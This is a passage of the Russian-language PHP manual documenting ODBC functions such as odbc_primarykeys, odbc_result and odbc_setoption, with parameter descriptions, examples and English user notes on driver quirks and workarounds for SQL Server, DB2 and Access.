    $row = odbc_fetch_array($res);
} else {
    // handle error
}
?>
Marek 16-Dec-2004 12:59
Use this example for IBM DB/2:

$q = "update TABLE set PASS=? where NAME=?";
$res = odbc_prepare ($con, $q);

$a = "secret"; $b="user";
$exc = odbc_execute($res, array($a, $b));


Получает первичные ключи таблицы

  • « odbc_prepare
  • odbc_procedurecolumns »
  • PHP Manual
  • Функции ODBC
  • Получает первичные ключи таблицы

odbc_primarykeys

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_primarykeys — Получает первичные ключи таблицы

Описание

odbc_primarykeys(
resource $odbc,
?string $catalog,
string $schema,
string $table
): resource|false

Возвращает идентификатор результата, который можно использовать для получения имён столбцов, составляющих первичный ключ таблицы.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

catalog

Каталог ('qualifier' на языке ODBC 2).

schema

Схема ('owner' на языке ODBC 2).

table

Возвращаемые значения

Возвращает идентификатор результата ODBC или false в случае возникновения ошибки.

В результирующем наборе имеются следующие столбцы:

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • COLUMN_NAME
  • KEY_SEQ
  • PK_NAME
Драйверы могут сообщать дополнительные столбцы.

Результирующий набор упорядочивается по TABLE_CAT, TABLE_SCHEM, TABLE_NAME и KEY_SEQ.

Примеры

Пример #1 Перечисление первичных ключей столбца

<?php
$conn = odbc_connect($dsn, $user, $pass);
$primarykeys = odbc_primarykeys($conn, 'TutorialDB', 'dbo', 'TEST');
while (($row = odbc_fetch_array($primarykeys))) {
print_r($row);
break; // последующие строки опущены для краткости
}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [TABLE_CAT] => TutorialDB
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => TEST
    [COLUMN_NAME] => id
    [KEY_SEQ] => 1
    [PK_NAME] => PK__TEST__3213E83FE141F843
)

Смотрите также

  • odbc_tables() - Получает список имён таблиц, хранящихся в определённом источнике данных
  • odbc_foreignkeys() - Возвращает список внешних ключей

User Contributed Notes

ewilde aht bsmdevelopment dawt com 11-Jul-2006 03:39
I was trying to find the primary keys from an SQLServer database through the ODBC interface.  Funnily enough, the odbc_primarykeys function doesn't work with SQLServer (at least not my implementation of it).  Fortunately, the sp_keys query is passed through and the answer returned.  This code works (providing you know which database you're dealing with, which is a whole 'nother story).

// If this is SQLServer, we need to do a special operation to get the
// primary keys.
//
// Looks like the implementers of the ODBC interface just blew this
// one off, since the database has a query to return the info and the
// info even comes back with the same column names.
if ($DBType == "SQLServer")
  $KeySel = odbc_exec($DBConn, "sp_pkeys ".$TableName);

// Otherwise, ask the database through ODBC for the primary key
// names.
else $KeySel = odbc_primarykeys($DBConn, $DatabaseName,
  $DatabaseUser, $TableName);

while ($KeySel && ($KeyRec = odbc_fetch_array($KeySel)))
  $KeyCol[$KeyRec["KEY_SEQ"]] = $KeyRec["COLUMN_NAME"];
dan dot scott at ca dot ibm dot com 20-Dec-2004 07:51
Responding to devendra_joshi:

In DB2 Universal Database for Linux, UNIX, and Windows the catalog views are accessed through the SYSCAT schema, not the SYSIBM schema -- so you should be issuing "SELECT * FROM SYSCAT.KEYCOLUSE" to list all of the columns that participate in a given key constraint.

A complete list of the catalog views for DB2 can be referenced at http://publib.boulder.ibm.com/infocenter/db2help/ by searching for 'catalog views' and selecting the top hit.
Rio Bautista (RRIT) 20-Feb-2004 08:08
Sample to get the primary keys of an MSSQL table:

$cn = odbc_connect( "DSN", "sa", "pwd");

$rs = odbc_primarykeys( $cn, "database", "dbo", "table_name");

odbc_result_all($rs);
devendra_joshi at hotmail dot com 11-Jul-2003 02:52
I want a list of primary keys of a table in db2

by using
'select * from SYSIBM.SYSKEYCOLUSE ' query i am getting the result on CLP
but when i am writing it in PHP as follows it returns 0 ROWS.

$mstmt="select * from SYSIBM.SYSKEYCOLUSE";
$b=odbc_exec($conn,$mstmt);
echo odbc_result_all($b);

where as  if we write this code

$mstmt="select * from SYSIBM.SYSFUNCTIONS";
$b=odbc_exec($conn,$mstmt);
echo odbc_result_all($b);

it returns the correct data.


Получает информацию о параметрах процедур

  • « odbc_primarykeys
  • odbc_procedures »
  • PHP Manual
  • Функции ODBC
  • Получает информацию о параметрах процедур

odbc_procedurecolumns

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_procedurecolumns — Получает информацию о параметрах процедур

Описание

odbc_procedurecolumns(
resource $odbc,
?string $catalog = null,
?string $schema = null,
?string $procedure = null,
?string $column = null
): resource|false

Получает информацию о параметрах процедур.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

catalog

Каталог ('qualifier' на языке ODBC 2).

schema

Схема ('owner' на языке ODBC 2). Этот параметр принимает следующие шаблоны поиска: % соответствующий нулю или более символам, и _ соответствующий ровно одному символу.

procedure

Процедура. Этот параметр принимает следующие шаблоны поиска: % соответствующий нулю или более символам, и _ соответствующий ровно одному символу.

column

Столбец. Этот параметр принимает следующие шаблоны поиска: % соответствующий нулю или более символам, и _ соответствующий ровно одному символу.

Возвращаемые значения

Возвращает список входных и выходных параметров, а также столбцы, составляющие результирующий набор для указанных процедур. Возвращает идентификатор результата ODBC или false в случае возникновения ошибки.

В результирующем наборе имеются следующие столбцы:

  • PROCEDURE_CAT
  • PROCEDURE_SCHEM
  • PROCEDURE_NAME
  • COLUMN_NAME
  • COLUMN_TYPE
  • DATA_TYPE
  • TYPE_NAME
  • COLUMN_SIZE
  • BUFFER_LENGTH
  • DECIMAL_DIGITS
  • NUM_PREC_RADIX
  • NULLABLE
  • REMARKS
  • COLUMN_DEF
  • SQL_DATA_TYPE
  • SQL_DATETIME_SUB
  • CHAR_OCTET_LENGTH
  • ORDINAL_POSITION
  • IS_NULLABLE
Драйверы могут сообщать дополнительные столбцы.

Результирующий набор упорядочивается по PROCEDURE_CAT, PROCEDURE_SCHEM, PROCEDURE_NAME и COLUMN_TYPE.

Список изменений

Версия | Описание
8.0.0 | До этой версии функцию можно было вызывать только с одним или пятью аргументами.

Примеры

Пример #1 Перечисление столбцов хранимой процедуры

<?php
$conn = odbc_connect($dsn, $user, $pass);
$columns = odbc_procedurecolumns($conn, 'TutorialDB', 'dbo', 'GetEmployeeSalesYTD;1', '%');
while (($row = odbc_fetch_array($columns))) {
print_r($row);
break; // последующие строки опущены для краткости
}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [PROCEDURE_CAT] => TutorialDB
    [PROCEDURE_SCHEM] => dbo
    [PROCEDURE_NAME] => GetEmployeeSalesYTD;1
    [COLUMN_NAME] => @SalesPerson
    [COLUMN_TYPE] => 1
    [DATA_TYPE] => -9
    [TYPE_NAME] => nvarchar
    [COLUMN_SIZE] => 50
    [BUFFER_LENGTH] => 100
    [DECIMAL_DIGITS] =>
    [NUM_PREC_RADIX] =>
    [NULLABLE] => 1
    [REMARKS] =>
    [COLUMN_DEF] =>
    [SQL_DATA_TYPE] => -9
    [SQL_DATETIME_SUB] =>
    [CHAR_OCTET_LENGTH] => 100
    [ORDINAL_POSITION] => 1
    [IS_NULLABLE] => YES
)

Смотрите также

  • odbc_columns() - Перечисляет имена столбцов в указанных таблицах

User Contributed Notes

There are no user contributed notes for this page.


Получает список процедур, хранящихся в определённом источнике данных

  • « odbc_procedurecolumns
  • odbc_result_all »
  • PHP Manual
  • Функции ODBC
  • Получает список процедур, хранящихся в определённом источнике данных

odbc_procedures

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_procedures — Получает список процедур, хранящихся в определённом источнике данных

Описание

odbc_procedures(
resource $odbc,
?string $catalog = null,
?string $schema = null,
?string $procedure = null
): resource|false

Перечисляет все процедуры в запрошенном диапазоне.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

catalog

Каталог ('qualifier' на языке ODBC 2).

schema

Схема ('owner' на языке ODBC 2). Этот параметр принимает следующие шаблоны поиска: % соответствующий нулю или более символам, и _ соответствующий ровно одному символу.

procedure

Имя процедуры. Этот параметр принимает следующие шаблоны поиска: % соответствующий нулю или более символам, и _ соответствующий ровно одному символу.

Возвращаемые значения

Возвращает идентификатор результата ODBC, содержащий информацию или false в случае возникновения ошибки.

В результирующем наборе имеются следующие столбцы:

  • PROCEDURE_CAT
  • PROCEDURE_SCHEM
  • PROCEDURE_NAME
  • NUM_INPUT_PARAMS
  • NUM_OUTPUT_PARAMS
  • NUM_RESULT_SETS
  • REMARKS
  • PROCEDURE_TYPE
Драйверы могут сообщать дополнительные столбцы.

Результирующий набор упорядочивается по PROCEDURE_CAT, PROCEDURE_SCHEMA и PROCEDURE_NAME.

Список изменений

Версия | Описание
8.0.0 | До этой версии функцию можно было вызывать только с одним или четырьмя аргументами.

Примеры

Пример #1 Перечисление хранимых процедур базы данных

<?php
$conn = odbc_connect($dsn, $user, $pass);
$procedures = odbc_procedures($conn, $catalog, $schema, '%');
while (($row = odbc_fetch_array($procedures))) {
print_r($row);
break; // последующие строки опущены для краткости
}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [PROCEDURE_CAT] => TutorialDB
    [PROCEDURE_SCHEM] => dbo
    [PROCEDURE_NAME] => GetEmployeeSalesYTD;1
    [NUM_INPUT_PARAMS] => -1
    [NUM_OUTPUT_PARAMS] => -1
    [NUM_RESULT_SETS] => -1
    [REMARKS] =>
    [PROCEDURE_TYPE] => 2
)

Смотрите также

  • odbc_procedurecolumns() - Получает информацию о параметрах процедур
  • odbc_tables() - Получает список имён таблиц, хранящихся в определённом источнике данных

User Contributed Notes

There are no user contributed notes for this page.


Выводит результат в виде HTML-таблицы

  • « odbc_procedures
  • odbc_result »
  • PHP Manual
  • Функции ODBC
  • Выводит результат в виде HTML-таблицы

odbc_result_all

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_result_all — Выводит результат в виде HTML-таблицы

Внимание

Функция объявлена УСТАРЕВШЕЙ, начиная с PHP 8.1.0. Использовать эту функцию крайне не рекомендуется.

Описание

odbc_result_all(resource $statement, string $format = ""): int|false

Печатает все строки из идентификатора результата, созданного odbc_exec(). Результат печатается в формате HTML-таблицы. Данные не экранируются.

Функция не предназначена для использования в производственной среде; она должна использоваться при разработке для быстрого получения результирующего набора.

Список параметров

statement

Идентификатор результата.

format

Дополнительный параметр для указания общего форматирования таблицы.

Возвращаемые значения

Возвращает количество строк в результате или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Функция объявлена устаревшей.

User Contributed Notes

alvaro at demogracia dot com 30-Apr-2009 02:26
The $format parameter is an optional string that gets inserted in the <table> tag. The string is printed as-is. E.g.:

<?php
odbc_result_all($res, 'id="users" class="listing"');
?>

... prints:

<table id="users" class="listing" >...
ZAPtheZAPs dot schulze dot zap at zap dot telstra dot com 02-May-2004 02:12
a revised version marius' code that works with Memo fields. (also returns rather than prints strings)

function ODBCResourceToHTML($res, $sTable, $sRow)
{$cFields = odbc_num_fields($res);
 $strTable = "<table $sTable ><tr>";
 for ($n=1; $n<=$cFields; $n++)
   {$strTable .= "<td $sRow><b>". str_replace("_", " ", odbc_field_name($res, $n)) . "</b></td>";}
   $strTable .= "</tr>";
   while(odbc_fetch_row($res))
   { $strTable .= "<tr>";
      for ($n=1; $n<=$cFields; $n++)
             {$cell = odbc_result($res, $n);
    if ($cell=='') {$strTable .= "<td $sRow>&nbsp;</td>";}
             else {$strTable .= "<td $sRow>". $cell . "</td>";}}
     $strTable .= "</tr>";}
 $strTable .= "</table>";
 Return $strTable;}

DEAR MODERATORS: you would save yourselve much much time by making this entire manual into a wiki (ie like http://en.wikipedia.org ) and within a year this would be the best manual on anything!!

best wishes, Erich
marius at stones dot com 24-Jun-2003 10:21
I've written this little function that functions simirarly to odbc_result_all, but works with MySQL:

/**
 * This function emulates the odbc_result_all function, which will return a HTML table cosisting of
 * the results of an SQL query.
 * Usage: pass a mysql result set to this function, and it will return (not output) a string containing
 * an HTML table
 * Parameters:
 * - $result is your mysql result set (result of a mysql_query() function call)
 * - $tableFeatures is a string containing any HTML TABLE features you would like in the table
 *   (eg. BORDER="0" etc.)
 */
function _mysql_result_all($result, $tableFeatures="") {
  $table .= "<!--Debugging output for SQL query-->\n\n";
  $table .= "<table $tableFeatures>\n\n";
  $noFields = mysql_num_fields($result);
  $table .= "<tr>\n";
  for ($i = 0; $i < $noFields; $i++) {
    $field = mysql_field_name($result, $i);
    $table .= "\t<th>$field</th>\n";
  }
  while ($r = mysql_fetch_row($result)) {
    $table .= "<tr>\n";
    foreach ($r as $kolonne) {
      $table .= "\t<td>$kolonne</td>\n";
    }
    $table .= "</tr>\n";
  }
  $table .= "</table>\n\n";
  $table .= "<!--End debug from SQL query-->\n\n";
  return $table;
}

Enjoy...
rabbott at calstatela dot edu 15-Aug-2000 05:46
odbc_result_all($result) cycles through
$result. So a subsequent call to odbc_fetch_row($result) will fail.
You must use odbc_fetch_row($result, 1)
to reset $result.  (But when I do that,
I get a crash!)
martin dot vgagern at gmx dot net 25-Mar-2000 01:49
As some people stated in the ODBC overview, some buggy drivers always return the number of rows to be -1. AFAIK the only way to help this situation is to count the rows by calls to odbc_fetch_into or odbc_fetch_row and then build the table yourself.


Получает данные результата

  • « odbc_result_all
  • odbc_rollback »
  • PHP Manual
  • Функции ODBC
  • Получает данные результата

odbc_result

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_result — Получает данные результата

Описание

odbc_result(resource $statement, string|int $field): string|bool|null

Получает данные результата.

Список параметров

statement

Ресурс (resource) ODBC.

field

Имя получаемого поля. Это может быть целое число, содержащее номер столбца нужного поля; или это может быть строка, содержащая имя поля.

Возвращаемые значения

Возвращает строковое содержимое поля, false в случае возникновения ошибки, null для данных NULL или true для двоичных данных.

Примеры

Первый вызов odbc_result() возвращает значение третьего поля в текущей записи результата запроса. Второй вызов функции odbc_result() возвращает значение поля с именем "val" в текущей записи результата запроса. Ошибка возникает, если параметр номера столбца для поля меньше единицы или превышает количество столбцов (или полей) в текущей записи. Также ошибка возникает при попытке получения столбца с именем, которое не является одним из имён полей запрашиваемой таблицы (или нескольких таблиц).

Пример #1 Примеры использования odbc_result()

<?php
$item_3 = odbc_result($Query_ID, 3);
$item_val = odbc_result($Query_ID, "val");
?>

Примечания

Индексы полей начинаются с 1. Для получения информации о способе возврата двоичных данных или данных столбцов LONG необходимо обратиться к odbc_binmode() и odbc_longreadlen().

User Contributed Notes

cgray at develop4 dot us 17-Apr-2012 09:10
FYI: odbc_result contains the following values: TABLE_QUALIFIER    TABLE_OWNER    TABLE_NAME    COLUMN_NAME    DATA_TYPE    TYPE_NAME    PRECISION    LENGTH    SCALE    RADIX    NULLABLE    REMARKS    COLUMN_FLAGS

I wrote the following to dump these values onto the page. I needed this to determine if the data-type for a column was something specific (eg: blob) to show a different result, instead of the actual contents.

        $connection_string = 'OPTIM_BLOB';
        $user = '';
        $pass = '';
        if (!($connect = odbc_pconnect($connection_string, $user, $pass))) {

        } else {
            echo 'Connecting to DSN, loading tables<br /><br />';
            $result = odbc_tables($myconn);
            $tables = array();
            while (odbc_fetch_row($result)){
                if(odbc_result($result,"TABLE_TYPE")=="TABLE") {
                    $TableName = odbc_result($result,"TABLE_NAME");
                    echo '<span id="tableName">Table: '.$TableName.'</span> ....<br /><br /> ';
                    //--------- Show Columns in that table ---------------
                    $result2 = odbc_columns($myconn, '', "%", $TableName, "%");  //db connection, DB name, schema, table name, column_name);

                    while(odbc_fetch_row($result2)){
                        //TABLE_QUALIFIER    TABLE_OWNER    TABLE_NAME    COLUMN_NAME    DATA_TYPE    TYPE_NAME    PRECISION    LENGTH    SCALE    RADIX    NULLABLE    REMARKS    COLUMN_FLAGS

                        $COLUMN_NAME = odbc_result($result2, 4); // COLUMN_NAME
                        $DataType = odbc_result($result2, 6);
                        echo '<b>Column name: '.$COLUMN_NAME.'</b> Type: '.$DataType.'<br /><br />';

                        // everything
                        echo '1: '.odbc_result($result2, 1).'<br />';    // TABLE_QUALIFIER
                        echo '2: '.odbc_result($result2, 2).'<br />';    // TABLE_OWNER
                        echo '3: '.odbc_result($result2, 3).'<br />';    // TABLE_NAME
                        echo '4: '.odbc_result($result2, 4).'<br />';    // COLUMN_NAME
                        echo '5: '.odbc_result($result2, 5).'<br />';    // DATA_TYPE (Number)
                        echo '6: '.odbc_result($result2, 6).'<br />';    // TYPE_NAME (String)
                        echo '7: '.odbc_result($result2, 7).'<br />';    // PRECISION
                        echo '8: '.odbc_result($result2, 8).'<br />';    // LENGTH
                        echo '9: '.odbc_result($result2, 9).'<br />';    // SCALE
                        echo '10: '.odbc_result($result2, 10).'<br />';    // RADIX
                        echo '11: '.odbc_result($result2, 11).'<br />';    // NULLABLE
                        echo '12: '.odbc_result($result2, 12).'<br />';    // REMARKS
                        echo '13: '.odbc_result($result2, 13).'<br />';    // COLUMN_FLAGS
                        echo '<br /><br />';
                    }
                }
            }
        }
lucas at bizzfone dot nl 30-Oct-2009 03:24
The odbc_result() function has an apparently little known feature that comes in very handy when retrieving large text or binary fields.
Consider this code snippet to retrieve a large value into a temporary file (error testing left out for clarity):

<?php
$con=odbc_connect(...);
$query="set textsize 2147483647 ".
       "select someLargeField from ...";
$resultset=odbc_exec($con,$query);
odbc_binmode($resultset,ODBC_BINMODE_RETURN);
odbc_longreadlen($resultset,4096);
while (odbc_fetch_row($resultset)) {
   $fileHandle=fopen('/tmp/myfile','wb');
   while (($chunk=odbc_result($resultset,'someLargeField'))!==false) {
      fwrite($fileHandle,$chunk);
   }
   fclose($fileHandle);
   //do something with the file
}
?>

There are a few key points to make it work:
- Make sure to include "set textsize 2147483647 " in your query.
  Without it, MSSQL truncates large values to 4096 bytes by default.
  Other databases may have a similar small limit.
- The odbc_binmode() and odbc_longreadlen() calls are just for safety.
  Their defaults in php.ini are usually correct.
- Each odbc_result() call on a large field apparently returns the next chunk.
  Of course you have to read all chunks before the next odbc_fetch_row() call.
- When all of the large value has been read, odbc_result() will return false.

Note: Using mssql_ instead of odbc_ functions is not a viable alternative. They don't work with chunks (AFAIK) and even crash php (overflow, segmentation fault) when the query result contains a large value.
baoshenyi at hotmail dot com 17-Mar-2005 10:51
I use one store procedure to retrieve value of identifier, other, name, section,data and datecreated coulmns to variable from SQL server table

using $odbc_result = odbc_exec($connect,$query); function.

After that, I using following code,
for($f=1;$f<=odbc_num_fields($odbc_result);$f++) {echo "<td style=\"font-weight:bold\">$f ".odbc_field_name($odbc_result,$f)."</td>";}
echo "</tr></table>";
odbc_fetch_row($odbc_result);
echo odbc_result($odbc_result,1)."<br>";
echo odbc_result($odbc_result,2)."<br>";
echo odbc_result($odbc_result,3)."<br>";
echo odbc_result($odbc_result,4)."<br>";
echo odbc_result($odbc_result,5)."<br>";
echo odbc_result($odbc_result,6)."<br>";

The result is as following,
1 identifier 2 other 3 name 4 section 5 data 6 datecreated
id1
other2
name3
section4
Warning: odbc_result() [function.odbc-result]: SQL error: [Microsoft][ODBC SQL Server Driver]Invalid Descriptor Index, SQL state S1002 in SQLGetData in d:\lawdepot_test\contracts\common\LicensingSQL.php on line 630
2005-03-16 18:12:00

I can not get "data"(Text column) back. Firstly, I think "data" column is too long for odbc_result($odbc_result,5) function, but after I check my old colde, I found I can get the "data" back using same function odbc_result().

I would like to hear any suggestions from you. Depressed on this question.

Michael
vlad dot posea at mymail dot ro 02-May-2003 04:22
i use odbc and mysql and i noticed after losing a lot of time that if you write something like this:
echo odbc_result($result,1);
....
echo odbc_result($result,1);
the second echo will fail. so it's more useful to save the result of odbc_result in a variable and use it later
like that: $var=odbc_result($result,1);
i hope this will be useful!
22-Jan-2003 06:43
From http://www.php.net/manual/en/function.odbc-longreadlen.php but relevant here, also.

An alternative is to adjust your php.ini file and set:
odbc.defaultlrl=65536
Or something else sufficiently large.
lrl = long read length

to get around the limit on returned chars.
fate at doityourself dot com 20-Jan-2003 09:14
if you want to quickly change a website from odbc- to mysql-data-access, you could use a simple function like this one:
function myresult ($cur,$nr) {
   return mysql_result($cur,0,mysql_field_name($cur,$nr-1));
}
and just do a global replace from "odbc_result" to "myresult".

beware, you should only use this if you don't care too much about performance, as this will start a query for every field you request - the better way is of course using mysql_fetch_row!
murat at nospam dot robcol dot k12 dot tr 15-Jul-2002 02:44
When trying to get a date/time field from an Access database, odbc_result returns the date as text (e.g. 1998-07-11 21:12:23). You may use strtotime function to convert this into a format which can be used with PHP.

e.g.
echo "The date is "
 .date("r",strtotime(odbc_result($myquery,"mydate")));
huevo dot SP at M dot earthling dot net 31-Jul-2001 03:46
With an Access 2K database, odbc_result will only work the first time it is called on a memo field (odbc_field_type returns 'LONGCHAR').

$good = odbc_result($result,'Description');
# $good holds the field value
$fail = odbc_result($result,'Description');
# $fail holds false

This tripped me up when I did something like this:

for ($i=1; $i<=odbc_num_fields($result); $i++) {
  if(odbc_result($result,$i)){
    ... more code ...
    echo odbc_result($result,$i);
    ... snip ...
  }
}

For any field type except memo, this code works perfectly.  But on memo fields, odbc_result returns false on the second call and nothing is echoed.

Be careful, use a temporary variable instead of multiple calls to odbc_result.  (It's good programming practice anyway)

for (...) {
  $temp = odbc_result($result,$i);
  if($temp){
    ...
    echo $temp;
    ...
  }
}
user at frosch dot org 30-May-2001 08:55
Hopefully useful note on accessing TEXT fields on Windows, using PHP's ODBC support to access Sybase*. With the following code:

"SELECT status AS projstatus,oid AS projident,LOWER(title) AS projtitel,startsOn AS projanfang,terminatesOn AS projende,description AS projinfo FROM Project ORDER BY projtitel ASC"

I was getting a strange error:

  Warning: SQL error: [INTERSOLV][ODBC SQL Server driver][SQL Server]Invalid column name 'projanfang'. , SQL state S0022 in SQLGetData in [**scriptname and path removed**] on line 126

even though I was clearly selecting a field as 'projanfang'. The reason I worked out eventually is that Sybase/ODBC attempts to do a conversion on the TEXT field 'description', which fails since the limit for CONVERT is 255 characters, and TEXT is a field type with a  2 GB limit. I am not sure why it doesn't work implicitly, but it does explicitly. The following code will work without errors:

  "SELECT status AS projstatus,oid AS projident,LOWER(title) AS projtitel,startsOn AS projanfang,terminatesOn AS projende,CONVERT(CHAR(255),description) AS projinfo FROM Project ORDER BY projtitel ASC"

What you do if you have a need for more than 255 characters of your text field, I do not know :(. I have also tried longreadlen, but I couldn't work out how it could be used.

* System details: Windows NT 4.0 SP6a, IIS 4.0, Sybase 11.5 Adaptive Enteprise, PHP 4.0.5.
nomail at nomail dot nomail 04-Dec-2000 05:00
Problem: Function returns a max of 4095 bytes of a cell with one call.

Tip: If you have a cell containing more than 4095 bytes, write a loop and call the cell over and over as long return is not "". All returns can be added up to the whole string.
dac at felspar dot com 27-Oct-2000 07:43
FWIW, ADO and similar ODBC-using interfaces also cannot distinguish between A.id and B.id. The easy solution is aliasing in SQL:

Consider a table "A" consisting only of the column "id". Next, consider the following query:

SELECT * FROM A JOIN B ON A.id=B.id

With ODBC, you'd be forced to use the numerical index, rather than the name. However, you could rewrite the query, too:

SELECT A.id AS A_id, B.id AS B_id FROM A JOIN B ON A.id=B.id

This can be better on three counts:

Firstly, unless you really want everything in the result set, it might be faster. SQL servers can be faster with "*", but often the networking will benefit from less data (Or a smaller tuple width, if you're into database jargon).

Secondly, since you're forced into thinking about what you want out of the query, you'll probably write better SQL as a result.

Thirdly, if you change the query - or tables - slightly, you don't have to revisit all your code to cope with the change.

Aplogies for stating the obvious, and having no imagination with my examples.
dinin at fas dot harvard dot edu 21-Jul-2000 09:35
Here's a limitation that isn't mentioned anywhere (that I could see) and gave me a rather large headache for a couple of hours trying to figure out why my database wasn't initializing correctly.
If you are trying to retrieve a large collection of fields from a database, be aware that odbc_result may only return up to 33 result columns.  Any more than that, and it generates a "result out of range" warning in your script.
(I tried adjusting to have 32 fields, with the same bug.) It generates an error "Warning: Field index is larger than the number of fields inyour-script.php on line 70" ANY time you try to retrieve the last field of a sufficiently large record. What worked for me was just to write the last column twice... that way, the query has 34 fields, but the last two are the same. You know it'll crash if you ask for #34, but just use ODBC_result(current_query, 33) and you won't have a problem. Good luck

-D
dave at quiver dot com 14-Jul-2000 12:44
If I use and MS Access 2000 database with fields of type memo, I get:
"Warning: SQL error: [Microsoft][ODBC Driver Manager] Invalid cursor state, SQL state 24000 in SQLGetData in D:\Inetpub\wwwroot\xxx\xxx.php on line XxX." If I change to type "text," everything's cool.
jniels23 at csc dot com 24-Mar-1999 08:31
Beware if you have fields with the same name in a result

<?php
$res = odbc_exec($conn,"select * from PeopleMR,People,Role,Organisation".
" WHERE PeopleMR.MeetingID = $MeetingID" .
" ORDER BY People.Surname");
?>

I have the field "Name" from both TABLE Role and TABLE Organisation, as for MySQL you would do :

<?php
mysql_result($res,$count,"Role.Name");
mysql_result($res,$count,"Organisation.Name");
?>

but with odbc you do :

<?php odbc_result($res,$count,"Name"); ?>

this gives you the result of TABLE Role "Name" so you have to find the Field Number for the Organisation"Name" to have the correct result.


Откатывает транзакцию

  • « odbc_result
  • odbc_setoption »
  • PHP Manual
  • Функции ODBC
  • Откатывает транзакцию

odbc_rollback

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_rollback — Откатывает транзакцию

Описание

odbc_rollback(resource $odbc): bool

Откатывает все незавершённые операции в соединении.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

Daniel 04-Sep-2014 10:06
Check the Spanish translation! Roll back is not 'Reanudar', is almost the opposite. A better word could be 'Deshacer'.


Регулирует настройки ODBC

  • « odbc_rollback
  • odbc_specialcolumns »
  • PHP Manual
  • Функции ODBC
  • Регулирует настройки ODBC

odbc_setoption

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_setoption — Регулирует настройки ODBC

Описание

odbc_setoption(
resource $odbc,
int $which,
int $option,
int $value
): bool

Функция позволяет настраивать параметры ODBC для конкретного соединения или результата запроса. Она используется для того, чтобы помочь найти решение проблем в специфических драйверах ODBC. Следует использовать эту функцию только программистам ODBC, понимающим, какой эффект оказывают различные параметры. Чтобы объяснить различные параметры и значения, которые можно использовать, понадобится хорошее справочное руководство по ODBC. Различные версии драйверов поддерживают разные параметры.

Поскольку эффекты могут различаться в зависимости от драйвера ODBC, настоятельно не рекомендуется использовать данную функцию в скриптах, которые являются общедоступными. Кроме того, для данной функции недоступны некоторые параметры ODBC, потому что они должны быть настроены до установки соединения или подготовки запроса. Однако на определённой работе она может заставить PHP работать, чтобы начальник не говорил об использовании коммерческого продукта, и это единственное, что имеет значение.

Список параметров

odbc

Идентификатор соединения или идентификатор результата, для которого нужно изменить настройки. Для SQLSetConnectOption() это идентификатор соединения. Для SQLSetStmtOption() это идентификатор результата.

which

Используемая функция ODBC. Значение должно быть равно 1 для SQLSetConnectOption() и 2 для SQLSetStmtOption().

option

Устанавливаемая опция.

value

Значение для option.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Примеры использования odbc_setoption()

<?php
// 1. Опция 102 SQLSetConnectOption() - SQL_AUTOCOMMIT.
// Значение 1 SQL_AUTOCOMMIT - SQL_AUTOCOMMIT_ON.
// Этот пример имеет тот же эффект, что и
// odbc_autocommit($conn, true);

odbc_setoption($conn, 1, 102, 1);

// 2. Опция 0 SQLSetStmtOption() - SQL_QUERY_TIMEOUT.
// Данный пример устанавливает время ожидания запроса, равное 30 секундам.

$result = odbc_prepare($conn, $sql);
odbc_setoption($result, 2, 0, 30);
odbc_execute($result);
?>

User Contributed Notes

egil at wp dot pl 19-Jan-2009 07:42
Some options for Microsoft SQL Server ODBC:
1 - (SQL_MAX_ROWS) show top x rows
6 - (SQL_CURSOR_TYPE) zmiana kursora - ma dzialac dopiero w PHP 5.3

You can "translate" constant names (found on e.g. Microsoft website) to appropriate values using this page:
http://www.freepascal.org/docs-html/packages/odbcsql/index-2.html

BTW. If anyone is banging his head about "cursor type changed" warning while using execute with ORDER BY clause, then just use exec for now (remember to addslashes for yourself). In PHP 5.3 a Bug #43668 will be fixed and it will allow you to change a cursor type to SQL_CUR_USE_ODBC.

Note that you could also try to select a cursor type in odbc_connect, but that didn't work for me (much more problems appeared then it solved).


Извлекает особые столбцы

  • « odbc_setoption
  • odbc_statistics »
  • PHP Manual
  • Функции ODBC
  • Извлекает особые столбцы

odbc_specialcolumns

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_specialcolumns — Извлекает особые столбцы

Описание

odbc_specialcolumns(
resource $odbc,
int $type,
?string $catalog,
string $schema,
string $table,
int $scope,
int $nullable
): resource|false

Извлекает либо оптимальный набор столбцов, который однозначно определяет строку в таблице, либо столбцы, которые автоматически обновляются, когда любое значение в строке обновляется транзакцией.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

type
Когда аргументом является SQL_BEST_ROWID, odbc_specialcolumns() возвращает столбец или столбцы, которые однозначно идентифицируют каждую строку в таблице. Когда аргументом является SQL_ROWVER, odbc_specialcolumns() возвращает столбец или столбцы в указанной таблице, если они есть, которые автоматически обновляются источником данных, когда любое значение в строке обновляется любой транзакцией.
catalog

Каталог ('qualifier' на языке ODBC 2).

schema

Схема ('owner' на языке ODBC 2).

table

Таблица.

scope

Область, которая упорядочивает результирующий набор. Одна из констант SQL_SCOPE_CURROW, SQL_SCOPE_TRANSACTION или SQL_SCOPE_SESSION.

nullable

Определяет, возвращать ли специальные столбцы, которые могут иметь значение NULL. Одна из констант SQL_NO_NULLS или SQL_NULLABLE .

Возвращаемые значения

Возвращает идентификатор результата ODBC или false в случае возникновения ошибки.

В результирующем наборе имеются следующие столбцы:

  • SCOPE
  • COLUMN_NAME
  • DATA_TYPE
  • TYPE_NAME
  • COLUMN_SIZE
  • BUFFER_LENGTH
  • DECIMAL_DIGITS
